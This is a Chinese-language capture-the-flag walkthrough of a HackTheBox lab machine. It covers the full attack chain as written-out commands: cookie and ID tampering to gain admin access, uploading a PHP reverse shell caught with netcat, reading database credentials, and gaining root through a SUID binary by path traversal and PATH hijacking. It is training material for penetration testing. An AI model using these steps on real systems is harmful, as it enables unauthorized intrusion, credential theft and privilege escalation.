首先连接到hackthebox靶场内网。然后执行常规扫描

1
sudo nmap -sC -sV ip

发现打开80端口的httpd服务。我们访问网页检查源代码发现登陆页面

image-20230625180434602

我们访问

1
http://ip/cdn-cgi/login进行登陆

我们首先以客人模式进行登陆,因为爆破密码发现并没有效果!

然后查看账户发现url显示如下

image-20230625180543188

于是我们尝试将id改为1,刷新有如上结果。

我们将admin和34322改入cookie值中

image-20230625180638417

进行替换!然后我们看见有uploads页面,我们尝试进行文件上传!

image-20230625180712077

这里我们利用kali虚拟机中的/usr/share/webshells/php中的自带php-reverse-shell,用来反向链接,getshell。我们打开shell,将中间部分改成我们自己的配置信息

image-20230625180846062

比如设置ip等。

之后上传到页面中!我们需要知道我们上传文件的位置!我们使用gobuster进行扫描。

1
gobuster dir --url http://ip/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

即可发现/uploads目录,我们直接访问木马。

1
http://ip/uploads/reverse.php

同时在我们本机进行监听

1
nc -lnvp 1234

即可收到shell!

如果我们想要得到一个功能性强的shell。我们需要传入以下参数

1
python3 -c 'import pty;pty.spawn("/bin/bash")'

也是getshell。

我们接下来进入/var/www/html/cdn-cgi/login来查看是否有密码之类的东西

image-20230625182235142

发现密码!下面我们再查看敏感目录/etc/passwd

image-20230625182402936

发现root可以进行登陆!此外robert也可以进行登陆!

我们登陆robert用户。

1
2
3
su robert
password:
输入发现不正确

我们再次回到刚才/login目录查看db.php文件发现密码

登陆成功!之后访问robert的用户目录,拿到flag!

image-20230625182713913

但是我们需要提权

查看id,发现bugtracker用户组

image-20230625183207431

于是我们查找文件中关于bugtracker的二进制文件

1
find / -group bugtracker 2>/dev/null

并且只输出结果,不输出错误。

我们查看/usr/bin/bugtracker的文件类型

image-20230625183514107

发现其实是linux可执行文件。查看权限发现有suid

1
2
3
4
5
6
7
Commonly noted as SUID (Set owner User ID), the special permission for the user access
level has a single function: A file with SUID always executes as the user who owns the
file, regardless of the user passing the command. If the file owner doesn't have
execute permissions, then use an uppercase S here.
In our case, the binary 'bugtracker' is owned by root & we can execute it as root since
it has SUID set.
也就是只有文件的所有者才能运行!当我们不是文件的拥有者,通过设置Suid可以作为root来执行!

显然我们的输入会被作为文件名,并且用cat读取

image-20230625184805363

因为bugtracker有root的执行权限,所以我们直接传入目录../root.txt即可!

image-20230625190021338

或者用这样一种办法,我们进入/tmp目录,创建一个cat文件(但是好像没有实现!)

1
2
3
4
cd /tmp
touch cat
echo "/bin/sh" > cat
chmod +x cat

然后我们把/tmp加入环境变量。

1
export PATH=/tmp:$PATH

可以检查一下是否加入

1
export $PATH

然后我们在当前tmp目录下再执行bugtracker!使其直接执行当前目录下的cat从而直接执行/bin/sh让我们直接getshell。